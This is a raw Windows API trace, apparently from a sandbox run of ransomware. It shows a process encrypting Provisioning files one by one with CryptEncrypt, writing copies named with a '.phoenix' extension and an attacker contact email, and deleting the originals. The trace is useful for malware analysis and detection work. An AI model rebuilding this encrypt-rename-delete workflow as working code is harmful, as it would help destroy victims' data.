	[0258.004] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.005] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0258.005] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.005] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0258.007] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0258.007] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0258.008] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0258.008] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.008] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.008] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.008] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.008] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.008] CloseHandle (hObject=0x2d0) returned 1
	[0258.008] CloseHandle (hObject=0x2c0) returned 1
	[0258.008] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 1
	[0258.009] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.009] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.009] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0258.009] CloseHandle (hObject=0x2c0) returned 1
	[0258.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0258.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.009] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.010] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.010] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.010] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0258.010] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.010] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0258.092] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0258.092] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0258.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0258.093] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.093] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.093] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.093] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.093] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.093] CloseHandle (hObject=0x2c0) returned 1
	[0258.093] CloseHandle (hObject=0x2d0) returned 1
	[0258.093] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 1
	[0258.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.095] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0258.095] CloseHandle (hObject=0x2d0) returned 1
	[0258.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.096] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.096] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.096] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.096] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0258.096] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.096] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0258.098] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.098] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.098] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0258.099] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.099] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.099] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.099] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.099] CryptDestroyKey (hKey=0x151140) returned 1
	[0258.099] CloseHandle (hObject=0x2d0) returned 1
	[0258.099] CloseHandle (hObject=0x2c0) returned 1
	[0258.099] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\6__Connections_Cellular_Telefonica (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\6__connections_cellular_telefonica (argentina)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.101] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=702) returned 1
	[0258.101] CloseHandle (hObject=0x2c0) returned 1
	[0258.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.102] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.102] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0258.102] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.102] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2be, lpOverlapped=0x0) returned 1
	[0258.104] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0258.104] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0258.105] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0258.105] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.105] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0258.105] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.105] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0258.105] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.105] CloseHandle (hObject=0x2c0) returned 1
	[0258.105] CloseHandle (hObject=0x2d0) returned 1
	[0258.105] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\700__Connections_Cellular_3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\700__connections_cellular_3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.106] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.106] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.106] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=454) returned 1
	[0258.106] CloseHandle (hObject=0x2d0) returned 1
	[0258.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.106] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.107] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.107] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.107] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.107] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.107] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c6, lpOverlapped=0x0) returned 1
	[0258.108] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0258.108] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.109] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0258.109] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.109] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
